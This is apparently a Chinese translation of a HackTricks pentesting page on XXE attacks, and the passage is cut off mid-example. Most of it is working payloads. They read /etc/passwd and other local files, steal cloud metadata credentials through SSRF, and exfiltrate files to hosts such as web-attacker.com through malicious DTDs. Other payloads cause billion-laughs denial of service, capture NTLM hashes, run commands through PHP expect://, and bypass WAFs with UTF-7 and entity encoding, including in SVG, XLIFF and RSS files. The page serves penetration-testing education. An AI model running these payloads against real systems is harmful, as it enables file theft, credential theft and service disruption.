> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/pentesting-web/xxe-xee-xml-external-entity.md).

# XXE - XEE - XML External Entity

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

<figure><img src="/files/YM7uBW8YtIhrJWT3a6lG" alt=""><figcaption></figcaption></figure>

{% embed url="<https://websec.nl/>" %}

## XML基础知识

XML是一种为数据存储和传输而设计的标记语言，具有灵活的结构，允许使用描述性命名的标签。它与HTML不同，不受限于一组预定义标签。尽管XML最初在AJAX技术中起着重要作用，但随着JSON的兴起，其重要性已经下降。

* **通过实体表示数据**：XML中的实体使数据的表示成为可能，包括特殊字符如`&lt;`和`&gt;`，它们分别对应于`<`和`>`，以避免与XML的标签系统发生冲突。
* **定义XML元素**：XML允许定义元素类型，概述元素应该如何结构化以及它们可以包含的内容，从任何类型的内容到特定子元素。
* **文档类型定义（DTD）**：DTD在XML中至关重要，用于定义文档的结构和其可以包含的数据类型。它们可以是内部的、外部的或两者结合，指导文档的格式化和验证方式。
* **自定义和外部实体**：XML支持在DTD中创建自定义实体，以灵活表示数据。使用URL定义的外部实体在安全方面存在问题，特别是在XML外部实体（XXE）攻击的背景下，这些攻击利用XML解析器处理外部数据源的方式：`<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
* **使用参数实体检测XXE**：为了检测XXE漏洞，特别是当传统方法由于解析器安全措施而失败时，可以利用XML参数实体。这些实体允许使用带外检测技术，例如触发DNS查找或向受控域发送HTTP请求，以确认漏洞。
* `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
* `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`

## 主要攻击

[**大部分这些攻击都是使用出色的Portswiggers XEE实验室进行测试的：https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)

### 新实体测试

在这次攻击中，我将测试一个简单的新实体声明是否有效。

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>
```

### 读取文件

让我们尝试以不同的方式读取 `/etc/passwd` 文件。对于Windows，您可以尝试读取：`C:\windows\system32\drivers\etc\hosts`

在第一个案例中，请注意SYSTEM "*\*\*file:///\*\*etc/passwd*" 也可以工作。

```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>
```

这第二种情况应该对提取文件很有用，如果Web服务器正在使用PHP（Portswiggers实验室的情况不是这样）

```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>
```

在这第三个案例中，请注意我们将`Element stockCheck`声明为ANY

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>
```

![](/files/ir0WaYeXM68Fl42BHExG)

### 目录列表

在基于**Java**的应用程序中，可以通过类似以下的 XXE 负载（仅请求目录而非文件）来**列出目录的内容**：

```xml
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>

<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>
```

### SSRF

XXE可能被用来滥用云中的SSRF

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
```

### 盲 SSRF

使用**先前注释的技术**，您可以使服务器访问您控制的服务器以显示其存在漏洞。但是，如果这种方法不起作用，可能是因为**不允许使用 XML 实体**，在这种情况下，您可以尝试使用**XML 参数实体**：

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```

### "盲" SSRF - 通过外带方式泄露数据

**在这种情况下，我们将让服务器加载一个带有恶意载荷的新DTD，该载荷将通过HTTP请求发送文件内容（对于多行文件，您可以尝试通过** ***ftp\://*** 使用此基本服务器进行外带，例如[**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**）。此说明基于** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**。**

在给定的恶意DTD中，进行了一系列步骤来外带数据：

### 恶意DTD示例：

结构如下：

```xml
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
```

这个DTD执行的步骤包括：

1. **参数实体的定义:**

* 创建一个XML参数实体 `%file`，读取 `/etc/hostname` 文件的内容。
* 定义另一个XML参数实体 `%eval`。它动态声明一个新的XML参数实体 `%exfiltrate`。`%exfiltrate` 实体被设置为向攻击者服务器发起HTTP请求，将 `%file` 实体的内容传递到URL的查询字符串中。

2. **实体的执行:**

* 使用 `%eval` 实体，导致动态声明 `%exfiltrate` 实体的执行。
* 然后使用 `%exfiltrate` 实体，触发向指定URL发送文件内容的HTTP请求。

攻击者将这个恶意的DTD托管在他们控制下的服务器上，通常在类似 `http://web-attacker.com/malicious.dtd` 的URL上。

**XXE有效载荷:** 为了利用一个存在漏洞的应用程序，攻击者发送一个XXE有效载荷：

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```

这个payload定义了一个XML参数实体`%xxe`，并将其合并到DTD中。当XML解析器处理时，此payload从攻击者的服务器获取外部DTD。然后解析器内联解释DTD，执行恶意DTD中概述的步骤，导致将`/etc/hostname`文件泄露到攻击者的服务器。

### 基于错误的(外部DTD)

**在这种情况下，我们将让服务器加载一个恶意的DTD，该DTD将在错误消息中显示文件的内容(仅当您可以看到错误消息时才有效)。** [**示例在这里。**](https://portswigger.net/web-security/xxe/blind)

通过恶意的外部文档类型定义(DTD)，可以触发XML解析错误消息，显示`/etc/passwd`文件的内容。实现这一目标的步骤如下：

1. 定义一个名为`file`的XML参数实体，其中包含`/etc/passwd`文件的内容。
2. 定义一个名为`eval`的XML参数实体，合并了另一个名为`error`的XML参数实体的动态声明。当评估此`error`实体时，会尝试加载一个不存在的文件，并将`file`实体的内容作为其名称。
3. 调用`eval`实体，导致动态声明`error`实体。
4. 调用`error`实体会尝试加载一个不存在的文件，生成一个错误消息，其中包含`/etc/passwd`文件的内容作为文件名的一部分。

可以使用以下XML调用恶意的外部DTD：

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```

### **基于错误的 (system DTD)**

那么当**禁止带外交互**（无法进行外部连接）时，盲目 XXE 漏洞怎么办呢？

XML 语言规范中的一个漏洞可以通过错误消息**在文档的 DTD 混合内部和外部声明时暴露敏感数据**。这个问题允许在内部重新定义在外部声明的实体，促进基于错误的 XXE 攻击的执行。这种攻击利用了在内部 DTD 中重新定义 XML 参数实体，该实体最初在外部 DTD 中声明。当服务器阻止带外连接时，攻击者必须依赖本地 DTD 文件来进行攻击，旨在诱发解析错误以揭示敏感信息。

考虑这样一个场景：服务器的文件系统包含一个位于 `/usr/local/app/schema.dtd` 的 DTD 文件，定义了一个名为 `custom_entity` 的实体。攻击者可以通过提交以下混合 DTD 来诱发 XML 解析错误，从而揭示 `/etc/passwd` 文件的内容：

```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
```

以下是由此DTD执行的步骤：

* 定义了一个名为`local_dtd`的XML参数实体，其中包含位于服务器文件系统上的外部DTD文件。
* 对`custom_entity` XML参数实体进行重新定义，最初在外部DTD中定义，以封装一个[基于错误的XXE利用](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)。这种重新定义旨在引发解析错误，从而暴露`/etc/passwd`文件的内容。
* 通过使用`local_dtd`实体，启用了外部DTD，包含了新定义的`custom_entity`。这一系列操作导致了利用所针对的错误消息的发出。

**真实世界示例：** 使用GNOME桌面环境的系统通常在`/usr/share/yelp/dtd/docbookx.dtd`中包含一个名为`ISOamso`的实体。

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```

这种技术使用**内部 DTD**，首先需要找到一个有效的 DTD。您可以通过**安装**与服务器相同的**操作系统/软件**，并**搜索一些默认的 DTD**，或者**获取系统中默认 DTD 的列表**，然后**检查**是否存在任何一个：

```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
```

更多信息请查看<https://portswigger.net/web-security/xxe/blind>

### 在系统中查找DTDs

在以下令人印象深刻的github存储库中，您可以找到**可能存在于系统中的DTDs的路径**：

{% embed url="<https://github.com/GoSecure/dtd-finder/tree/master/list>" %}

此外，如果您有**受害系统的Docker镜像**，您可以使用相同存储库中的工具来**扫描**该**镜像**并**查找**系统中存在的**DTDs**的路径。阅读[github的Readme](https://github.com/GoSecure/dtd-finder)以了解详情。

```bash
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar

Scanning TAR file /tmp/dadocker.tar

[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []

[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []
```

### 通过 Office Open XML 解析器进行 XXE 攻击

要深入了解此攻击，请查看[此精彩文章](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/)中的第二部分，来自 Detectify。

许多 Web 应用程序提供了上传 Microsoft Office 文档的功能，然后从这些文档中提取某些详细信息。例如，Web 应用程序可能允许用户通过上传 XLSX 格式的电子表格来导入数据。为了从电子表格中提取数据，解析器必然需要解析至少一个 XML 文件。

要测试此漏洞，需要创建一个包含 XXE 负载的 Microsoft Office 文件。第一步是创建一个空目录，以便可以将文档解压缩到其中。

文档解压缩后，应打开位于 `./unzipped/word/document.xml` 的 XML 文件，并在首选文本编辑器（如 vim）中进行编辑。应修改 XML 以包含所需的 XXE 负载，通常以 HTTP 请求开头。

修改后的 XML 行应插入在两个根 XML 对象之间。重要的是将 URL 替换为可监控请求的 URL。

最后，可以将文件压缩为恶意 poc.docx 文件。从先前创建的 "unzipped" 目录中，应运行以下命令：

现在，可以将创建的文件上传到可能存在漏洞的 Web 应用程序，并希望在 Burp Collaborator 日志中出现请求。

### Jar 协议

**jar** 协议仅在 **Java 应用程序** 中可访问。它旨在在 **PKZIP** 存档（例如 `.zip`、`.jar` 等）中启用文件访问，适用于本地和远程文件。

```
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
```

{% hint style="danger" %}
能够访问PKZIP文件内部的文件对于通过系统DTD文件滥用XXE非常有用。查看[此部分以了解如何滥用系统DTD文件](#error-based-system-dtd)。
{% endhint %}

通过jar协议访问PKZIP存档中的文件的过程涉及几个步骤：

1. 发出HTTP请求以从指定位置下载zip存档，例如`https://download.website.com/archive.zip`。
2. 包含存档的HTTP响应被临时存储在系统中，通常在类似`/tmp/...`的位置。
3. 然后解压存档以访问其内容。
4. 读取存档中的特定文件`file.zip`。
5. 操作完成后，删除在此过程中创建的任何临时文件。

一种有趣的技术是在第二步中中断此过程，方法是在提供存档文件时保持服务器连接无限期打开。可利用[此存储库](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution)中提供的工具，包括Python服务器（`slow_http_server.py`）和Java服务器（`slowserver.jar`）。

```xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>
```

{% hint style="danger" %}
将文件写入临时目录可以帮助**升级涉及路径遍历的另一个漏洞**（如本地文件包含、模板注入、XSLT RCE、反序列化等）。
{% endhint %}

### XSS

```xml
<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>
```

### DoS

#### 十亿笑攻击

```xml
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
```

#### Yaml 攻击

```xml
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
```

#### 二次方爆炸攻击

![](/files/2ZvzkmFkLowMMheHDi1S)

#### 获取 NTML

在 Windows 主机上，可以通过设置 responder.py 处理程序来获取 Web 服务器用户的 NTML 哈希值：

```bash
Responder.py -I eth0 -v
```

通过发送以下请求

```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>
```

## 隐藏的XXE表面

### XInclude

当将客户端数据集成到服务器端XML文档中，比如后端SOAP请求中的文档时，由于对修改`DOCTYPE`元素的限制，通常对XML结构的直接控制受到限制，这会阻碍传统的XXE攻击。然而，`XInclude`攻击提供了一种解决方案，允许在XML文档的任何数据元素中插入外部实体。即使只有服务器生成的XML文档中的部分数据可以被控制，这种方法也是有效的。

要执行`XInclude`攻击，必须声明`XInclude`命名空间，并指定所需外部实体的文件路径。以下是一个简洁的示例，展示了如何构建这样一种攻击：

```xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
```

查看<https://portswigger.net/web-security/xxe>获取更多信息！

### SVG - 文件上传

用户上传到某些应用程序的文件，然后在服务器上进行处理，可能会利用处理 XML 或包含 XML 的文件格式的漏洞。常见的文件格式如办公文档（DOCX）和图像（SVG）都是基于 XML 的。

当用户**上传图像**时，这些图像会在服务器端进行处理或验证。即使是期望 PNG 或 JPEG 等格式的应用程序，**服务器的图像处理库也可能支持 SVG 图像**。由于 SVG 是基于 XML 的格式，攻击者可以利用恶意 SVG 图像来提交恶意内容，从而使服务器面临 XXE（XML External Entity）漏洞。

下面展示了这种利用的示例，其中恶意 SVG 图像尝试读取系统文件：

```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
```

另一种方法涉及尝试通过PHP的“expect”包装器执行命令：

```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>
```

在这两种情况下，SVG 格式被用来发动攻击，利用服务器软件的 XML 处理能力，突显了强大的输入验证和安全措施的必要性。

查看<https://portswigger.net/web-security/xxe>获取更多信息！

**请注意读取文件的第一行或执行结果将出现在创建的图像内部。因此，您需要能够访问 SVG 创建的图像。**

### **PDF - 文件上传**

阅读以下文章以**学习如何利用 XXE 上传 PDF 文件**：

{% content-ref url="/pages/WzJHNYA0NkdNpg8AHrxq" %}
[PDF Upload - XXE and CORS bypass](/pentesting-web/file-upload/pdf-upload-xxe-and-cors-bypass.md)
{% endcontent-ref %}

### Content-Type: 从 x-www-urlencoded 到 XML

如果 POST 请求接受 XML 格式的数据，您可以尝试在该请求中利用 XXE。例如，如果正常请求包含以下内容：

```xml
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar
```

然后您可能能够提交以下请求，结果相同：

```xml
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
```

### Content-Type: 从 JSON 到 XEE

要更改请求，您可以使用一个名为“**Content Type Converter**”的 Burp 扩展。[这里](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) 您可以找到这个示例：

```xml
Content-Type: application/json;charset=UTF-8

{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
```

```xml
Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>
```

另一个示例可以在[这里](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2)找到。

## WAF & Protections Bypasses

### Base64

```xml
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
```

这只有在XML服务器接受`data://`协议时才有效。

### UTF-7

您可以在此处使用\[**"Encode Recipe**" of cyberchef here ]\(<https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7> %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) 转换为UTF-7。

```xml
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
```

```xml
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
```

### 文件:/ 协议绕过

如果网站使用 PHP，可以使用 **php wrappers** `php://filter/convert.base64-encode/resource=` 来**访问内部文件**，而不是使用 `file:/`。

如果网站使用 Java，您可以检查[**jar: 协议**](#jar-protocol)。

### HTML 实体

来自 [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
您可以创建一个**实体内部的实体**，使用**html实体**对其进行编码，然后调用它来**加载一个dtd**。\
请注意，所使用的**HTML实体**需要是**数字**的（像\[在这个例子中]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C))。

```xml
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>
```

DTD 例子：

```xml
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;
```

## PHP包装器

### Base64

**提取** ***index.php***

```xml
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
```

#### **提取外部资源**

```xml
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>
```

### 远程代码执行

**如果加载了 PHP 的 "expect" 模块**

```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
```

## **SOAP - XEE**

## **SOAP - XEE**

```xml
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
```

## XLIFF - XXE

这个例子受到了<https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe>的启发。

XLIFF（XML Localization Interchange File Format）用于标准化本地化过程中的数据交换。这是一种基于XML的格式，主要用于在本地化过程中在工具之间传输可本地化数据，并作为CAT（计算机辅助翻译）工具的常见交换格式。

### 盲目请求分析

向服务器发出以下内容的请求：

```xml
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```

然而，此请求触发了内部服务器错误，具体指出了与标记声明有关的问题：

```json
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
```

尽管出现错误，但在Burp Collaborator上记录了一次命中，表明与外部实体有一定程度的交互。

带外数据泄露 为了泄露数据，发送了一个修改过的请求：

```
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```

这种方法揭示了用户代理指示使用Java 1.8。这个Java版本的一个已知限制是无法使用带有换行符的文件（例如/etc/passwd）来使用带外技术检索文件。

基于错误的数据泄露为了克服这个限制，采用了基于错误的方法。DTD文件的结构如下，以触发包含目标文件数据的错误：

```xml
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;
```

服务器返回一个错误，重要的是反映了不存在的文件，表明服务器正在尝试访问指定的文件：

```javascript
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
```

为了在错误消息中包含文件的内容，需要调整DTD文件：

```xml
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;
```

这种修改导致文件内容成功外泄，因为它反映在通过HTTP发送的错误输出中。这表明成功利用XXE（XML外部实体）攻击，利用带外和基于错误的技术来提取敏感信息。

## RSS - XEE

包含RSS格式的有效XML，用于利用XXE漏洞。

### 回显

向攻击者服务器发送简单的HTTP请求

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
```

### 读取文件

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
```

### 读取源代码

使用 PHP base64 过滤器

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
